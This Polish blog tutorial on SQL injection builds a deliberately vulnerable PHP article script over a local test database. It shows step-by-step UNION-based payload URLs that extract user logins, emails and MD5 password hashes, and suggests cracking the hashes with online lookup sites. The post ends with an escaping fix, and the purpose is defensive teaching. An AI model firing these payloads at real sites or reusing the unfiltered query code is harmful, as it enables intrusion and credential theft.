Jest to blog poświęcony nowoczelnym technologiom ułatwiającym tworzenie aplikacji internetowych. Znajdziesz tutaj porady na temat CSS3, JavaScript, designu, web-usability, standardów W3C.
Cześć! Nazywam się Michał Środek. Z zawodu programista php, z zamiłowania gitarzysta oraz fanatyk GNU/Linuksa(openSUSE® w laptopie). W branży aplikacji internetowych od 9 lat. Prywatnie bez dzieci i kota.
Pracuję wciąż nad własnym elastycznym i wydajnym frameworkiem MVC, kilkoma portalami internetowymi oraz mniejszymi bibliotekami php. Czekam na wasze opinie, zgłoszenia błędów oraz pomysły na dalszy rozwój.
Ta część strony jest w trakcie budowy a moje prace tymczasowo niedostępne.
W przypadku pytań, ofert pracy oraz ciekawych pomysłów proszę się ze mną kontaktować. Możesz mnie znaleźć i wysłać PW na php.pl(SHiP), jamendo.com(michalsrodek), goldenLine.pl, facebook.com lub nk.pl
Ostatnio pracowałem nad pewnym projektem wraz z innym(„troszkę“ mniej doświadczonym) programistą. Starałem się przymykać oko na wiele jego błędów(niepotrzebne zmienne, brak obiektowości itp.) jednak jeden był niewybaczalny — brak filtracji danych przychodzących w zapytaniach SQL. Dzisiaj postaram się wytłumaczyć dlaczego to jest tak bardzo ważne pokazując jak haker w prosty sposób może wykraść loginy i hasła użytkowników ze słabo zabezpieczonej witryny.
Stwórzmy przykładową bazę danych „hack“ aby pokazać jak to wygląda od drugiej strony.
CREATE TABLE articles( id int(10) AUTO_INCREMENT, title varchar(80) NOT NULL, content text NOT NULL, author int(10), category int(10), PRIMARY KEY(id) ); CREATE TABLE users( id int(10) AUTO_INCREMENT, login varchar(40) NOT NULL, email varchar(60) NOT NULL, password varchar(32) NOT NULL, PRIMARY KEY(id) );
Wypełnijmy je danymi:
mysql> select * from articles; +----+--------------+----------+--------+----------+ | id | title | content | author | category | +----+--------------+----------+--------+----------+ | 1 | Artykul nr 1 | tresc... | 1 | 2 | | 2 | Artykul nr 2 | tresc... | 3 | 1 | | 3 | Artykul nr 3 | tresc... | 2 | 1 | | 4 | Artykul nr 4 | tresc... | 3 | 2 | +----+--------------+----------+--------+----------+ mysql> select * from users; +----+--------+--------------------+----------------------------------+ | id | login | email | password | +----+--------+--------------------+----------------------------------+ | 1 | Michal | michal@example.com | 1660fe5c81c4ce64a2611494c439e1ba | | 2 | Magda | romek@example.com | 9d0250b24620c2056516e5d2d79eed4a | | 3 | Romek | romek@example.com | 944278ab01f435bfc369fa038130f25b | +----+--------+--------------------+----------------------------------+
Czas na kod PHP odpowiedzialny za pobieranie artykułów. Pomijam filtrowanie zmiennych przychodzących. Wygląda to mniej więcej tak:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <?php $mysqli = new mysqli('localhost', 'root', '', 'hack'); if(isset($_GET['id'])) $result = $mysqli->query('SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id='.$_GET['id']); else $result = $mysqli->query('SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id'); while($row = $result->fetch_array()) { echo '<h2>'.$row['title'].'</h2>'; echo '<strong>Author: '.$row['author'].'</strong>'; echo '<p>'.$row['content'].'</p>'; } ?> |
Wystarczy mała nieuwaga aby skrypt był dziurawy jak ser szwajcarski. Co więcej, dziurę taką da się bardzo łatwo wykryć — wystarczy apostrof lub cudzysłów.
http://localhost/hack/sql/?id=1'
Naszym oczom ukaże się błąd:
Fatal error: Call to a member function fetch_array() on a non-object in /home/hellson/public_html/hack/sql/index.php on line 27
Jest to informacja, że użytkownik może wpływać na treść zapytania SQL. Dlaczego tak się dzieje? PHP bezmyslnie umieszcza zmienną $_GET[’id’] do zapytania SQL które teraz wygląda tak:
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1'
Jest to niepoprawne zapytanie więc php zwraca błąd metody fetch_array(). Tym samym jest to informacja, że haker może spreparować własne zapytania, które zwrócą mu loginy i hasła. Oczywiście w sytuacji gdy nie zna on struktury bazy danych jest to troszkę utrudnione lecz wciąż możliwe. Aby uświadomić o jakie aspekty należy zadbać warto dowiedzieć się jak to robi przeciętny włamywacz.
Pierwszym krokiem jest sprawdzenie czy rzeczywiście możemy wpływać na zapytanie. Najlepiej jest dopisać nic nie znaczące „OR 1=1″
http://localhost/hack/sql/?id=1 OR 1=1
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 OR 1=1
Naszym oczom powinna ukazać się pełna lista artykułów zamiast tylko jednego lub jeśli na stronie moduł pobiera tylko pierwszy rekord otrzymamy inny niż jest sprecyzowany w zmiennej id(oczywiście należy wziąć pod uwagę sortowanie). Kolejnym krokiem jest wprowadzenie własnego zapytania. Najczęściej używa się UNION ponieważ jest to najprostsza technika. UNION połączy 2 zapytania tylko wtedy gdy będą one posiadać taką samą ilość kolumn. Warto więc najpierw to sprawdzić metodą prób i błędów pobierając kolejno 2 NULL-e, 3 NULL-e itd. W naszym przykładzie wystarczy sześć.
http://localhost/hack/sql/?id=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL
Sprawdzmy, które pola odpowiadają poszczególnym rzeczom wyświetlanym na stronie.
http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL
Zauważ, że nie podaję jeszcze nazwy tabeli aby nie komplikować sobie całej operacji. W przypadku otwartych rozwiązań sprawa jest prosta ponieważ wystarczy zajrzeć w kod i odczytać nazwy tabel. Czasami skrypty wyświetlają komunikat o błędzie SQL, który zawiera zapytanie(sic!). Ewentualnym problemem mogą być prefiksy w nazwach. Metodą prób i błędów można jednak odkryć, że tabele z naszego przykładu to „articles“ oraz „users“
http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL FROM users
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL FROM users
Pozostała część to już jedynie formalność. Należy pobrać odpowiednią ilość elementów z tabeli users.
http://localhost/hack/sql/?id=1 UNION SELECT users.*,NULL,NULL FROM users
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT users.*,NULL,NULL FROM users
Gotowe! Zamiast artykułów mamy loginy i hasła. Jeśli programista jest początkujący prawdopodobnie nie dodaje soli do haseł a te są kodowane za pomocą MD5. Wystarczy w google pisać „md5 database“ aby szybko znaleźć stronę, która dopasuje odpowiedni ciąg znaków do podanego hasha. Można w ten sposób spokojnie odkodować hasła przynajmniej połowy użytkowników przeciętnego portalu internetowego. Sprawa jest utrudniona, gdy tabela users zawiera np. 15 kolumn. Wtedy odgadnąć trzeba również nazwy pól.
http://localhost/hack/sql/?id=1 UNION SELECT NULL, users.email, users.password, users.login, NULL,NULL FROM users
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL, users.email, users.password, users.login, NULL,NULL FROM users
Jeśli strona jest słabo zabezpieczona to prawdobodobnie również nazwy tabel i pól są proste to odgadnięcia. Dla dobrego hakera wszystko jest kwestią czasu. Oczywiście twórca strony może troszkę udziwniać np. umieścić wartość w cudzysłowiach jednak to też mu niewiele da ponieważ wystarczy wpisać:
http://localhost/hack/sql/?id=1" UNION SELECT users.*,NULL,NULL FROM users WHERE 1="1
SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id="1" UNION SELECT users.*,NULL,NULL FROM users WHERE 1="1"
Oczywiście to nie wyczerpuje tematu i być może kiedyś rozwinę jeszcze temat dziurawych zapytań SQL.
Najprostszym ze sposobów zabezpieczania się jest użycie mysqli::real_escape_string(). Aby uniemożliwić atak wystarczy aby nasz kod wyglądał tak:
5 | $result = $mysqli->query('SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id="'.$mysqli->real_escape_string($_GET['id']).'"'); |
Osobiście jednak preferuję filtrowanie wszystkich danych przychodzących wedle własnych wzorców tak aby wykluczyć np. uruchomienie zapytania z ciągiem znaków zamiast cyfr, filtracje kodu html, znaków specjalnych itp. Świetnym rozwiązaniem wprowadzonym w php5 wraz z mysqli jest bindowanie parametrów(podobnie jak to ma miejsce w QT) ale o tym napiszę innym razem.
W końcu ktoś to opisał od początku do końca. Bardzo fajny wpis. Taka moja mała uwaga. Warto wspomnieć o ustawieniu „magicznych cudzysłowów“ w php.ini. Ciekawostkę którą zauważyłem to to że włączenie magic_quotes w php.ini powoduje, że interpreter zachowuje się jakby był dziurawy. Natomiast ten wpis już nie zadziała
http://localhost/hack/sql/?id=1 UNION SELECT NULL,‚Tytuł’,‚Tresc’,‚Autor’,NULL,NULL
Komentarz by thx4 — 22 lutego 2010, 10:26
Dziękuję za komentarz. Jak już pisałem ten wpis nie wyczerpuje tematu. Opiszę kilka dodatkowych technik po tym jak już się uporam z artykułami na temat ataków LFI
.
Komentarz by Michał Środek — 22 lutego 2010, 12:54